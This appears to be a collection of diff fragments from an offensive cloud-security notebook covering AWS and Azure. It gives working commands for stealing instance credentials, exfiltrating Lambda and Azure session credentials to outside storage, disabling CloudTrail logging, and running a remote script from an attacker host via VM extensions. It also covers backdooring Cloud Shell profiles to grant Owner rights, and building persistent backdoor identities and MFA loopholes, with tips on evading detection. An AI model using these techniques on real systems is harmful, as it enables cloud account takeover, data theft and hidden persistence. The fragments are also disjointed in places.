- http://169.254.169.254/network/interfaces/macs/<MAC_address>/subnet-id
|
||||
- Subnet IP range
|
||||
- http://169.254.169.254/network/interfaces/macs/<MAC_address>/subnet-ipv4-cidr-block
|
||||
- User-Data (instance startup script)
|
||||
- http://169.254.169.254/latest/user-data/
|
||||
- Accepts BASH scripts as well as cloud-init files, which are in YAML
|
||||
- IAM role name
|
||||
- http://169.254.169.254/latest/meta-data/iam/security-credentials
|
||||
- IAM temporary credentials
|
||||
- http://169.254.169.254/latest/meta-data/iam/security-credentials/demo-role.ec2
|
||||
- These credentials allow one to assume the IAM role of the instance from any AWS client (including the CLI) until the credentials are reset (every six hours)
|
||||
@@ -0,0 +1,46 @@
|
||||
- Lambda functions
|
||||
- Trigger on a specific event, such as new items being added to an S3 bucket or a CloudWatch event whenever your compromised credentials get rotated.
|
||||
- The downside to CloudWatch is that only one lambda is allowed per log group and it is easily visible in the CloudWatch dashboard.
|
||||
- S3 dashboard makes it less obvious.
|
||||
- Access Analyzer will be concerned by creating new users or granting permissions to foreign users
|
||||
- Use something like uploading lambda role credentials to a foreign bucket
|
||||
- Golang Pseudocode:
|
||||
```Go
|
||||
accessKey := fmt.Sprintf(`
|
||||
AWS_ACCESS_KEY_ID=%s
|
||||
AWS_SECRET_ACCESS_KEY=%s
|
||||
AWS_SESSION_TOKEN=%s"`,
|
||||
os.Getenv("AWS_ACCESS_KEY_ID"),
|
||||
os.Getenv("AWS_SECRET_ACCESS_KEY"),
|
||||
os.Getenv("AWS_SESSION_TOKEN"),
|
||||
)
|
||||
uploadToS3(s3Client, S3BUCKET, "lambda", accessKey)
|
||||
```
|
||||
|
||||
- Create lambda function
|
||||
- `aws lambda create-function --function-name support-metrics-calc --zip-file fileb://function.zip --handler function --runtime go1.x --role <desired_role> --region <region>`
|
||||
- Create trigger event on upload of file to s3
|
||||
- `aws lambda add-permission --function-name <desired_func_name> --region <region> --statement-id <arbitrary_unique_name> --action "lambda:InvokeFunction" --principal s3.amazonaws.com --source-arn arn:aws:s3:::s4d.mxrads.com --source-account <account_id> --profile <profile_name>`
|
||||
- Set bucket rule that only triggers events on certain items being uploaded (starting with "2")
|
||||
- `aws s3api put-bucket-notification-configuration --region <region> --bucket <bucket_name> --profile <profile_name> --notification-configuration file://config.json`
|
||||
- Example rule config
|
||||
```JSON
|
||||
{
|
||||
"LambdaFunctionConfigurations": [{
|
||||
"Id": "s3InvokeLambda12",
|
||||
"LambdaFunctionArn": "arn:aws:lambda:eu-west-1:886371554408
|
||||
:function:support-metrics-calc",
|
||||
"Events": ["s3:ObjectCreated:*"],
|
||||
"Filter": {
|
||||
"Key": {
|
||||
"FilterRules": [{
|
||||
"Name": "prefix",
|
||||
"Value": "2"
|
||||
}]
|
||||
}
|
||||
}
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
-
|
||||
@@ -0,0 +1,18 @@
|
||||
- Virtual Private Cloud (VPC)
|
||||
- Allows organizations to set up virtual private networks to route traffic from instances to their core services, such as S3 buckets.
|
||||
- Example: `curl https://mxrads-archives-packets-linux.s3-eu-west-1.amazonaws.com/beaconTest.html` will automatically route straight to S3 through Amazon's internal network, rather than going through the public internet.
|
||||
- This allows organizations to close access to the internet for instances while still retaining access to AWS services.
|
||||
- Look for this when you have RCE, RFI, or similar and you can't get the instance to reach out to the internet. Try uploading a file to an s3 bucket you control and curling the bucket instead; it might go through a VPC.
|
||||
- Can also be used as a C2 channel
|
||||
- Evading CloudWatch
|
||||
- Cannot disable, but can disrupt the trail for ingestion into automated tools and dashboards.
|
||||
- `aws cloudtrail update-trail --name default --no-include-global-service-events --no-is-multi-region --region=<region>`
|
||||
- For best results, disable before doing quick API calls you need to be outside of the logging, then re-enable at least 20 minutes later.
|
||||
- Quickly grep Linux files looking for:
|
||||
- AWS keys
|
||||
- `grep -R "AKIA" -4 *`
|
||||
- S3 drivers used in Spark
|
||||
- `egrep -R "s3[a|n]://" *`
|
||||
- Dangerous permissions
|
||||
- `PassRole`
|
||||
- Allows users to assign any role to an instance, including an admin role. Allows full AWS account takeover.
|
||||
@@ -0,0 +1,43 @@
|
||||
- Create a local user on a VM
|
||||
- Using Azure CLI
|
||||
- `az vm user update -u username -p password -n <VM_Name> -g <Resource_Group>`
|
||||
- Using PowerShell
|
||||
- `Get-AzVM`
|
||||
- `Set-AzVMAccessExtension -ResourceGroupName "<Resource_Group>" -Location "<Location>" -VMName "<VM_Name>" -Name "<Extension_Name>" -TypeHandlerVersion "2.4" -UserName "<Username>" -Password "<Password>"`
|
||||
- OR
|
||||
- `Set-AzVMAccessExtension -ResourceGroupName "PENTEST-RG" -VMName "winvm01" -Credential (get-credential) -typeHandlerVersion "2.0" -Name VMAccessAgent`
|
||||
- Authenticate to VMs with local credentials
|
||||
- With RDP
|
||||
- `Get-AzPublicIpAddress -Name winvm01* | Select IpAddress`
|
||||
- If the VM does not have a public IP or RDP is not listening, Contributor permissions can be used to expose the service (MAJOR RISK)
|
||||
- With Run Command (using VM agent)
|
||||
- List out running Windows VMs and cast to the VMs variable
|
||||
- `$VMs = Get-AzVM -Status | where {($_.PowerState -EQ "VM running") -and ($_.StorageProfile.OSDisk.OSType -eq "Windows")}`
|
||||
- Pass VMs to Invoke-AzVMRunCommand
|
||||
- `$VMs | Invoke-AzVMRunCommand -CommandId 'RunPowerShellScript' -ScriptPath .\whoami.ps1`
|
||||
- Can use indices of VMs variable to pass commands to only select VMs rather than all of them (eg. $VMs\[0\])
|
||||
- From Azure REST APIs (useful especially for using a token to a managed identity)
|
||||
- Obtain an access token (from a VM with a managed identity)
|
||||
- `curl -H Metadata:true -s 'http://169.254.169.254/metadata/identity/oauth2/token?apiversion=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' | jq`
|
||||
- Execute commands (PowerShell)
|
||||
- `$mgmtToken = "TOKEN GOES HERE"`
|
||||
- `Invoke-AzVMCommandREST -commandToExecute "whoami > test.txt" -managementToken $mgmtToken 204cce89-27de-4669-a48b-04c27255e05e`
|
||||
- Execute script with VM extensions
|
||||
- Host the script at some URI, then execute this:
|
||||
- `Set-AzVMCustomScriptExtension -ResourceGroupName TEST -VMName PentestVM -Location westcentralus -FileUri 'http://attacker.webserver.com/whoami.ps1' -Run 'whoami.ps1' -Name CustomScriptExtension`
|
||||
- [Attacking Azure with Custom Script Extensions (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/attacking-azure-with-custom-script-extensions/)
|
||||
- Credential Harvesting
|
||||
- VM extension settings
|
||||
- Domain join extension
|
||||
- Microburst - `Get-AzureVMExtentionSettings`
|
||||
- PowerShell ISE can store old scripts/credentials
|
||||
- [Decrypting Azure VM Extension Settings with Get-AzureVMExtensionSettings (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/decrypting-azure-vm-extension-settings-with-get-azurevmextensionsettings/)
|
||||
- Disk Export and Snapshot Export
|
||||
- Can export a disk and generate a temp URL to download it (only for disks not attached to running VMs)
|
||||
- For disks attached to VMs, create a snapshot and then export that.
|
||||
- If encrypted, you'll need a key from the key vault
|
||||
- PowerZure
|
||||
- Get list of all unattached VM disks
|
||||
- ` Get-AzDisk | Where-Object {$_.DiskState -ne "Attached"} | Select Name, DiskState, Encryption`
|
||||
- Generate a public URL to export the disk
|
||||
- `Get-AzureVMDisk -DiskName <DISK_NAME_FROM_STEP_4>`
|
||||
@@ -0,0 +1,97 @@
|
||||
- Storage accounts
|
||||
- Contributor role has these management plane permissions and can use them to exploit the data plane:
|
||||
- Microsoft.Storage/storageAccounts/listkeys/action - read access keys of storage accounts
|
||||
- Microsoft.Storage/storageAccounts/listAccountSas/action - Generate SAS token for data plane access at storage account level
|
||||
- Microsoft.Storage/storageAccounts/listServiceSas/action - Generate SAS token for data plane access at service level
|
||||
- MicroBurst
|
||||
- Dump credentials from Azure Storage instances (can also do other accounts)
|
||||
- `Get-AzPasswords -AutomationAccounts N -AppServices N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
|
||||
- Can use the keys to access these services to extract data or other credentials
|
||||
- Open Azure Storage Explorer
|
||||
- Authenticate with name from previous command and account key
|
||||
- Lava
|
||||
- `stg_blob_download` - Automatically download all blob containers in subscription
|
||||
- Azure Cloud Shell
|
||||
- https://www.netspi.com/blog/technical/cloud-penetration-testing/attacking-azure-cloud-shell/
|
||||
- Mount the image to view sensitive info and also force it to execute commands the next time it is mounted (automatically when Cloud Shell starts)
|
||||
- Auth to CLI as Contributor
|
||||
- `az login -u contributoruser@<domain_name> -p <contributor_user_password>`
|
||||
- Start Lava
|
||||
- `python3 lava.py`
|
||||
- Verify permissions
|
||||
- `exec priv_show`
|
||||
- Scan for Cloud Shell images
|
||||
- `exec stg_file_scan`
|
||||
- Download files in file shares (can take a while if there are a lot)
|
||||
- `exec stg_file_download` - Note the download location for later
|
||||
- Exit Lava
|
||||
- `exit`
|
||||
- Mount IMG file
|
||||
- `mount <download_location>/.cloudconsole/acc_azureadmin.img /mnt`
|
||||
- Cd into mounted file, write malicious command to .bashrc or .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
- `echo "az role assignment create --role "Owner" --assignee $(az ad user list --display-name contributoruser | jq '.[]' | jq -r '.userPrincipalName') &>/dev/null" >> .bashrc`
|
||||
- `echo "New-AzRoleAssignment -UserPrincipalName (Get-AzADUser -StartsWith contributoruser).UserPrincipalName -RoleDefinitionName Owner | out-null" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1`
|
||||
- Unmount
|
||||
- `umount /mnt`
|
||||
- Get name of storage account
|
||||
- `az storage account list --query [].name -o tsv` - look for one that starts with "cs"
|
||||
- `storagename=<storage_acct_name>`
|
||||
- Get access key and file share and upload image
|
||||
- `key=$(az storage account keys list -n $storagename --query [0].value -o tsv)`
|
||||
- `csfileshare=$(az storage share list --account-key $key --account-name $storagename --query [].name -o tsv)`
|
||||
- `az storage file upload --account-key $key --account-name $storagename --share-name $csfileshare --path ".cloudconsole/acc_azureadmin.img" --source "<download_location>/.cloudconsole/acc_azureadmin.img"`
|
||||
- Wait for privileged account to open Azure Cloud Shell, or send phishing email with a link to the shell to the user
|
||||
- Clean up Owner permissions
|
||||
- `$upnsuffix=$(az ad signed-in-user show --query userPrincipalName --output tsv | sed 's/.*@//')`
|
||||
- `$contributoruser = "contributoruser@$upnsuffix"`
|
||||
- `$contributoruserid=$(az ad user list --upn $contributoruser --query [].objectId -o tsv)`
|
||||
- `az role assignment delete --assignee $contributoruserid --role "Owner"`
|
||||
- Remember to remove backdoored command in Azure Cloud Shell
|
||||
|
||||
- Key Vault
|
||||
- Contributor has no access to data plane by default, but has this permission on the management plane to give itself perms:
|
||||
- `Microsoft.KeyVault/vaults/accessPolicies/write`
|
||||
- OPSEC NOTE: Changing these permissions may be logged; try to use other principals that already have authorization (such as automation Run as, app registrations, and managed identities)
|
||||
- Automation accounts: Create a new runbook that uses the Run as account to access the key vault.
|
||||
- App registrations: Authenticate as the app registration and access the key vault.
|
||||
- Managed Identities: Generate REST API tokens for the identity to access the key vault with.
|
||||
- Can also add access policy that allows the account to generate a trusted certificate - used in supply-chain attack
|
||||
- MicroBurst
|
||||
- Dump sensitive info from Key Vaults by temporarily changing permissions and reverting them
|
||||
- `Get-AzPasswords -AutomationAccounts N -AppServices N -Keys Y -ACR N -CosmosDB N -ModifyPolicies Y -Verbose | Out-GridView`
|
||||
|
||||
- Web apps
|
||||
- Collect publish profile, containing credentials
|
||||
- `Get-AzWebAppPublishingProfile`
|
||||
- MicroBurst
|
||||
- `Get-AzPasswords -AutomationAccounts N -StorageAccounts N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
|
||||
- Find FTP endpoint to review/modify app files:
|
||||
- `az webapp deployment list-publishing-profiles --name <appname> --resource-group <group-name> --query "[? ends_with(profileName, 'FTP')].{profileName: profileName, publishUrl: publishUrl}"`
|
||||
- Can use Console in Azure Portal or the SCM interface
|
||||
- $APP_NAME.scm.azurewebsites.net
|
||||
- Can auth to this with the publish profile creds
|
||||
- Keep in mind these usually have managed identities too
|
||||
- [Lateral Movement in Azure App Services (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/lateral-movement-azure-app-services/)
|
||||
|
||||
- Automation Accounts
|
||||
- Review runbook code to find credentials
|
||||
- Extract stored account credentials and Run as account certificates
|
||||
- Write credential variables to job output
|
||||
- `$myCredential = Get-AutomationPSCredential -Name 'Cred-1'`
|
||||
- `$userName = $myCredential.UserName`
|
||||
- `$password = $myCredential.GetNetworkCredential().Password`
|
||||
- `$username`
|
||||
- `$password`
|
||||
- Export Run as certificates
|
||||
- `$RunAsCert = Get-AutomationCertificate -Name 'AzureRunAsCertificate'`
|
||||
- `$CertificatePath = Join-Path $env:temp RunAsCertificate.pfx`
|
||||
- `$Cert = $RunAsCert.Export('pfx','CertificatePassword')`
|
||||
- `Set-Content -Value $Cert -Path $CertificatePath -Force -Encoding Byte | Write-Verbose`
|
||||
- `$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('$CertificatePath))`
|
||||
- `$base64string`
|
||||
- MicroBurst
|
||||
- `Get-AzPasswords -AppServices N -StorageAccounts N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
|
||||
- Note that this will create files with a Run as certificate (pfx) and a script to log in as that Run as account
|
||||
- Can also use the REST API
|
||||
- `Get-AzAutomationAccountCredsREST`
|
||||
- https://github.com/NetSPI/MicroBurst/blob/master/REST/Get-AzAutomationAccountCredsREST.ps1
|
||||
@@ -0,0 +1,20 @@
|
||||
- Use CLI to login prior to running Lava
|
||||
- `az login`
|
||||
- `python3 lava.py`
|
||||
- `whoami` - confirm authentication
|
||||
- Determine if any VM in the subscription is associated with a privileged managed identity
|
||||
- `exec vm_list_privileged`
|
||||
- Use Run Command (as a Contributor) - Get Managed Identity access token
|
||||
- `exec vm_rce -rgrp PENTEST-RG -vm_name linuxvm01`
|
||||
- Non-interactive shell
|
||||
- ` curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -H Metadata:true`
|
||||
- Copy token from previous command, exit Lava, and run commands against the resource manager with elevated privilege
|
||||
- `TOKEN=<ACCESS_TOKEN_FROM_PREVIOUS_STEP>`
|
||||
- Get a list of subscriptions
|
||||
- `curl --header "Authorization: Bearer ${TOKEN}" https://management.azure.com/subscriptions?api-version=2020-01-01 | jq`
|
||||
- Store subscription ID in a variable
|
||||
- `SUB_ID=$(curl --header "Authorization: Bearer ${TOKEN}" https://management.azure.com/subscriptions?apiversion=2020-01-01 | jq -r .value[].subscriptionId)`
|
||||
- Get a list of resource groups
|
||||
- `curl --header "Authorization: Bearer ${TOKEN}" https://management.azure.com/subscriptions/${SUB_ID}/resourcegroups?api-version=2019-10-01 | jq`
|
||||
- Get a list of resources
|
||||
- `curl --header "Authorization: Bearer ${TOKEN}" https://management.azure.com/subscriptions/${SUB_ID}/resources?api-version=2019-10-01 | jq`
|
||||
@@ -0,0 +1,4 @@
|
||||
- With Contributor or Owner role on a subscription, VMs can be used (and possibly created) to begin attacking connected on-prem networks
|
||||
- Bloodhound has updates that can also identify/graph Azure roles and relationships
|
||||
- Azure tokens are stored on user workstations in the `.Azure` profile folders - compromise dev machines and pivot
|
||||
- With elevated domain rights, might be able to add a new MFA token for a Global Administrator and crack their password to take over their account
|
||||
@@ -0,0 +1,51 @@
|
||||
- Group membership
|
||||
- Compromising an Azure AD account with ability to change group permissions can allow lateral movement to RBAC
|
||||
- Groups:
|
||||
- Global Administrator
|
||||
- User Administrator
|
||||
- Groups Administrator
|
||||
- Directory Writers
|
||||
- Any custom role with `microsoft.directory/groups/members/update`
|
||||
- Identifying privileged groups in subscriptions
|
||||
- Review the Azure AD sign-in log
|
||||
- AzureAD (or AzureADPreview)
|
||||
- Get successful Azure Portal sign-ins in the time range
|
||||
- `Get-AzureADAuditSignInLogs -Filter "appDisplayName eq RAzure Portal' and createdDateTime gt $((Get-Date).AddDays(-1). ToString('yyyy-MM-dd')) and status/errorCode eq 0"`
|
||||
- Get successful Azure PowerShell sign-ins in the time range
|
||||
- `Get-AzureADAuditSignInLogs -Filter "appDisplayName eq 'Microsoft Azure PowerShell' and createdDateTime gt $((GetDate).AddDays(-1).ToString('yyyy-MM-dd')) and status/errorCode eq 0"`
|
||||
- Filter for interesting authentication properties
|
||||
- `Get-AzureADAuditSignInLogs -Filter "appDisplayName eq 'Azure Portal' and createdDateTime gt $((Get-Date).AddDays(-1).ToString('yyyy-MM-dd')) and status/errorCode eq 0" | Select-Object UserPrincipalName, MfaDetail, AppliedConditionalAccessPolicies`
|
||||
- Must have one of these permissions in Azure AD:
|
||||
- Security Administrator
|
||||
- Security Reader
|
||||
- Report Reader
|
||||
- Any custom role with `microsoft.directory/groups/allProperties/allTasks` or `microsoft.directory/signInReports/allProperties/read`
|
||||
|
||||
- Resetting user passwords
|
||||
- Requires one of these roles:
|
||||
- Password Administrator
|
||||
- Helpdesk Administrator
|
||||
- Authentication Administrator
|
||||
- User Administrator
|
||||
- Privileged Authentication Administrator (unlimited password permissions)
|
||||
|
||||
- Exploiting service principal secrets
|
||||
- Requires one of these roles:
|
||||
- Application Administrator
|
||||
- Cloud Application Administrator
|
||||
- Directory Synchronization Accounts
|
||||
- Hybrid Identity Administrator
|
||||
- Any custom role with the following permission: `microsoft.directory/servicePrincipals/credentials/update`
|
||||
- Identify Service Principals that have access to Azure resources (non-interactive logins)
|
||||
- Get app ID for application and add a new client secret
|
||||
- Authenticate as the service principal (and hopefully gain Contributor which is the default in Azure Dev-Ops)
|
||||
|
||||
- Gain access to root management group
|
||||
- Can only be done as Global Administrator
|
||||
- Implicitly grants User Access Administrator to all subscriptions and management groups
|
||||
- Azure CLI
|
||||
- Use Global Administrator account to assign itself complete permissions to assign access to any subscription or management group
|
||||
- `az rest --method post --url "/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"`
|
||||
- Assign subscription Owner role to Global Administrator account
|
||||
- `userPrincipalName=$(az ad signed-in-user show --query userPrincipalName -o tsv)`
|
||||
- `az role assignment create --role "Owner" --assignee $userPrincipalName`
|
||||
@@ -0,0 +1,8 @@
|
||||
- Exploiting privileged service principals
|
||||
- Service principals and managed identities can also have Azure AD roles
|
||||
- Often excluded from MFA/conditional access
|
||||
|
||||
- Exploiting service principals' permissions on APIs
|
||||
- Application permissions don't expect a signed-in user and can often access sensitive data
|
||||
- Phishing technique:
|
||||
- Use Azure AD consent grant URL to exploit built-in Azure AD permissions flow and trick users into approving an external application
|
||||
@@ -0,0 +1,104 @@
|
||||
- Credentials
|
||||
- https://www.lares.com/blog/hunting-azure-admins-for-vertical-escalation/
|
||||
- Check C:\\Users\\%USERNAME%\.Azure for cached credentials from Az CLI or Powershell cmdlets
|
||||
- Bypasses MFA/Oauth/Conditional access
|
||||
- NOTE: For OPSEC, prevent Azure context from being automatically saved for a local user:
|
||||
- `Disable-AzContextAutosave -Scope CurrentUser`
|
||||
- Check validity of existing credentials
|
||||
- `Get-AzSubscription`
|
||||
- `az account list`
|
||||
- Save current Azure context
|
||||
- `Save-AzContext -Path azureprofile.json`
|
||||
- `7z a azureprofile.zip azureprofile.json`
|
||||
- Exfiltrate to Blob Container
|
||||
- HTTPie
|
||||
- `http PUT "<blob_container_url>" "@azureprofile.zip" "x-ms-blob-type: BlockBlob"`
|
||||
- PowerShell
|
||||
- `Invoke-WebRequest -Method 'PUT' -Uri '<blob_container_url>' -OutFile 'azureprofile.zip' -Headers @{"x-ms-blob-type"="BlockBlob"}`
|
||||
- Download exfiltrated file
|
||||
- `Invoke-WebRequest -Uri "<blob_container_url>" -OutFile azureprofile.zip`
|
||||
- Extract
|
||||
- `7z e azureprofile.zip`
|
||||
- Import authentication context
|
||||
- `Import-AzContext -Path .\azureprofile.json`
|
||||
- Verify
|
||||
- `Get-AzResourceGroup`
|
||||
|
||||
- Virtual Machines
|
||||
- Opening management ports is typically ill-advised, but one option is to specify an Azure service tag as the source when opening the port (such as RDP or SSH).
|
||||
- Example: modifying a network security group to allow RDP/SSH from the AzureCloud or AzureCloud.UKSouth service tag looks less suspicious while still allowing connections from any Azure node matching that range
|
||||
- Add a managed identity
|
||||
- Can be done in Azure Portal
|
||||
- Add to system or user
|
||||
- Assign additional rights to the managed identity at subscription/management group and/or Azure AD for persistence
|
||||
- User-assigned (using an existing user with permissions we want) may be less noisy as it won't need more permissions added afterward.
|
||||
|
||||
- Automation account
|
||||
- Desired State Configuration (DSC)
|
||||
- Reverts systems to a "desired configuration" if that configuration ever should change
|
||||
- Simply have your "desired state" be "running my malicious EXE"
|
||||
- [Azure Persistence with Desired State Configurations (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/azure-persistence-with-desired-state-configurations/)
|
||||
- Process:
|
||||
- Add target VM as DSC node to Automation account service
|
||||
- Upload configuration
|
||||
- Compile configuration
|
||||
- Assign configuration to VM
|
||||
- Wait for DSC to indicate the node is out of compliance and run the correction script
|
||||
- Example config:
|
||||
- "File should exist at C:\\testfile.exe"
|
||||
- "A process should be running from that path"
|
||||
- "If either condition is not satisfied, correct it"
|
||||
- Very well-hidden in the Azure interface and a lesser-known feature, so it may fly under the radar
|
||||
- Automation Run as accounts
|
||||
- [Maintaining Azure Persistence via Automation Accounts (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/maintaining-azure-persistence-via-automation-accounts/)
|
||||
- Example process:
|
||||
- Assign Run as account a privileged Azure AD role (Global/User Admin)
|
||||
- Create runbook that adds a new user (with known password) to Azure AD tenant
|
||||
- Assign new user privileged role in Azure AD
|
||||
- Use new user as short-term channel to access Azure AD
|
||||
- Consider using a webhook to trigger persistence
|
||||
|
||||
- Maintaining access to PaaS services
|
||||
- Best targets are data stores or secret stores such as SQL dbs, storage accoutns, container registries, and key vaults
|
||||
- Can persist on a public endpoint, but must add an IP address and this is noisy
|
||||
- Can add a Firewall exception (such as to Azure SQL) to allow access to "Azure services and resources"; this allows public IPs from other organizations provided they are in Azure. Use with caution and probably only with SQL and not for services with networking restrictions
|
||||
- Persistence to platform services
|
||||
- Generating Shared Access Signature (SAS) tokens is not explicitly logged in Activity Log - good option for Azure Storage
|
||||
- Can always add RBAC role assignments to a backdoor user too
|
||||
|
||||
- Azure AD persistence
|
||||
- Creating new principals probably raises more alerts than modifying existing
|
||||
- Creating a new user
|
||||
- Requires `microsoft.directory/users/create` permission (User Administrator, Global Administrator, Directory Writers)
|
||||
- For naming, try to emulate the target organization but consider if alternate naming schemes (alternate domains) might bypass MFA (Okta)
|
||||
- Review audit logs to determine if the identity you're using is normally used to create Azure AD user accounts
|
||||
- Creating service principal
|
||||
- ALL non-guest users can create service principals by default
|
||||
- If that default permission is disabled, `microsoft.directory/servicePrincipals/create` permission is needed
|
||||
- Application Administrator, Application Developer, Cloud Application Administrator
|
||||
- Great for bypassing MFA/conditional access/privileged identity management (not blocked or not supported)
|
||||
- Creating guest user
|
||||
- Depends on "Collaboration restrictions" - might be able to invite users from any domain (outlook, gmail, etc.) or only from specified ones
|
||||
- By default, any user or guest user can be used to invite external identities into the tenant
|
||||
- Some orgs may place conditional access policies on guest accounts; consider bypassing/disabling
|
||||
- Modifying existing identities
|
||||
- Look for existing disabled identities, enable them, and reset password.
|
||||
- `microsoft.directory/users/enable` - User Administrator, Global Administrator
|
||||
- [Azure AD built-in roles - Azure Active Directory - Microsoft Entra | Microsoft Learn](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#password-reset-permissions)
|
||||
- Add a secret/password to an existing service principal
|
||||
- `microsoft.directory/servicePrincipals/credentials/update` - Application Administrator, Hybrid Identity Administrator, Global Administrator
|
||||
- Granting privileges to an identity
|
||||
- Add to privileged group
|
||||
- If assigned-membership type - add identity to a privileged group manually
|
||||
- If dynamic user membership type, either modify rules so they include our backdoor identity or modify identity to fit existing rules
|
||||
- Assign identity to privileged roles
|
||||
- Requires `microsoft.directory/roleAssignments/allProperties/allTasks`
|
||||
- Global Administrator, Privileged Role Administrator
|
||||
- Consider if Privileged Identity Management (PIM) is in use
|
||||
- If so, use an active assignment for the backdoor identity instead of an eligible one that requires activation
|
||||
- If Azure Blueprint is in use, must create a definition, publish, and then assign.
|
||||
- Ensuring access by bypassing security policies
|
||||
- Create conditional access loopholes for backdoor identities
|
||||
- Add attacker IP as trusted in conditional access
|
||||
- Add attacker IP as trusted for MFA
|
||||
- Use subcription-level persistence to work with existing Azure AD restrictions
|
||||
@@ -0,0 +1,18 @@
|
||||
- General
|
||||
- `Get-AzWebApp` `Get-AzWebApp | Select EnabledHostNames`
|
||||
- Gather information on web applications
|
||||
- Also extracted with `Get-AzDomainInfo` in MicroBurst - \\Resources\\AppServices.csv
|
||||
- Function Apps
|
||||
- Check to see if source code/config files are available
|
||||
- Service Principal exploitation
|
||||
- PowerZure
|
||||
- `Get-AzureAppOwner`
|
||||
- Determine if current user is assigned as the owner of a service principal
|
||||
- `Add-AzureSPSecret -ApplicationName customapp -Password myPassword456`
|
||||
- Can now authenticate as this service principal with this password and explore its permissions
|
||||
- Note Tenant/App ID in output
|
||||
- OPSEC NOTE: Azure AD audit logs will record these events with the activity type of "Update application – Certificates and secrets management".
|
||||
- `az login --service-principal --username APP_ID --password myPassword456 --tenant TENANT_ID`
|
||||
- Authenticate using Azure CLI as service principal
|
||||
- `az role assignment list --assignee APP_ID --include-groups --include-inherited --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'`
|
||||
- Determine role assignment of service principal
|
||||
@@ -0,0 +1,30 @@
|
||||
- Reader permissions can pull container images
|
||||
- Authenticate as Reader
|
||||
- `az login -u readeruser@<DOMAIN> -p myPassword123`
|
||||
- List container registries - note the name
|
||||
- `az acr list -o table`
|
||||
- Generate a Docker login and connect to the registry
|
||||
- `acr=ACR_NAME`
|
||||
- `loginserver=$(az acr login -n $acr --expose-token --query loginServer -o tsv)`
|
||||
- `accesstoken=$(az acr login -n $acr --expose-token --query accessToken -o tsv)`
|
||||
- `docker login $loginserver -u 00000000-0000-0000-0000-000000000000 -p $accesstoken`
|
||||
- List images in the container registry
|
||||
- `az acr repository list -n $acr`
|
||||
- Enumerate versions by listing tags for an image
|
||||
- `az acr repository show-tags -n $acr --repository nodeapp-web`
|
||||
- Note registry credentials in session
|
||||
- `echo $loginserver`
|
||||
- `echo $accesstoken`
|
||||
- Open a PowerShell console as Administrator and set variables (if necessary based on Windows version)
|
||||
- `$loginserver="<LOGIN_SERVER>"`
|
||||
- `$accesstoken="<ACCESS_TOKEN>"`
|
||||
- Login to Docker from PowerShell
|
||||
- ` docker login $loginserver -u 00000000-0000-0000-0000-000000000000 -p $accesstoken`
|
||||
- Pull the image
|
||||
- `docker pull $loginserver/nodeapp-web:v1`
|
||||
- Examine the image for sensitive information (list env vars)
|
||||
- `docker container run --rm $loginserver/nodeapp-web:v1 env`
|
||||
- Login with found credentials via Azure CLI
|
||||
- `az login --service-principal --username APP_ID --password SECRET_KEY --tenant TENANT_ID`
|
||||
- Check role assignment and scope
|
||||
- `az role assignment list --assignee APP_ID --include-groups --include-inherited --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'`
|
||||
@@ -0,0 +1,2 @@
|
||||
- [Abusing dynamic groups in Azure AD for privilege escalation (mnemonic.io)](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)
|
||||
- In brief, look for dynamic groups that assign membership based on parameters that users have control over
|
||||
@@ -0,0 +1,27 @@
|
||||
- Enumerating with Reader permissions
|
||||
- Simply log in to the Azure portal and view all resources/export to CSV
|
||||
- PowerZure
|
||||
- Importing the Module will display current role, permissions, and available subscriptions
|
||||
- OPSEC NOTE: There are detections in Azure Security Center for this as well as MicroBurst
|
||||
- `Get-AzureTargets`
|
||||
- Compares the user role to the Azure scope to enumerate attack surface area
|
||||
- MicroBurst
|
||||
- `Get-AzDomainInfo -Verbose -Folder microburst-output`
|
||||
- Generates an entire directory dump full of all available info on all of the Azure subscriptions to which the user has access
|
||||
- If environment is very large, disable some of the information using the boolean options
|
||||
- Review Azure instance metadata (from the instance itself)
|
||||
- `curl -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance?api-version=2020-09-01" | jq`
|
||||
- Check for a managed identity
|
||||
- `curl -H Metadata:true -s 'http://169.254.169.254/metadata/identity/oauth2/ token?api-version=2018-02-01&resource=https%3A%2F%2Fmanag ement.azure.com%2F' | jq`
|
||||
- Resulting token can be used to interact with the Azure REST APIs. Can also be used with MicroBurst to gather key vault secrets and storage account keys
|
||||
- Credential Harvesting
|
||||
- Check previous deployments for resource groups
|
||||
- Look for misconfigured parameter types - passwords set as "String" instead of "SecureString"
|
||||
- Check deployment output sections - can include sensitive values and even "SecureString" values in cleartext
|
||||
- `Get-AzDomainInfo` in MicroBurst gathers all this deployment info; check Development\\Resources\\Deployments.txt for creds
|
||||
- Managed Identities - can have elevated permissions in environment
|
||||
- `appid=$(az resource list --query "[?name=='\<resource name\>'].identity.principalId" --output tsv)`
|
||||
- Retrieve resource information and cast to the "appid" variable
|
||||
- `az role assignment list --assignee $appid --include-groups --include-inherited --query'[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'`
|
||||
- List role assigments, specifying role name, principal name, type, and scope
|
||||
- Can also be done with the REST API
|
||||
@@ -0,0 +1,39 @@
|
||||
z- Get all public IP addresses for subscription
|
||||
- Azure CLI
|
||||
- `az network public-ip list --query '[].[name, ipAddress, publicIpAllocationMethod]' -o table`
|
||||
- Az Pwsh
|
||||
- `Get-AzPublicIpAddress | Select Name,IpAddress,PublicIpAllocationMethod`
|
||||
|
||||
- Anonymously enumerating services for a target
|
||||
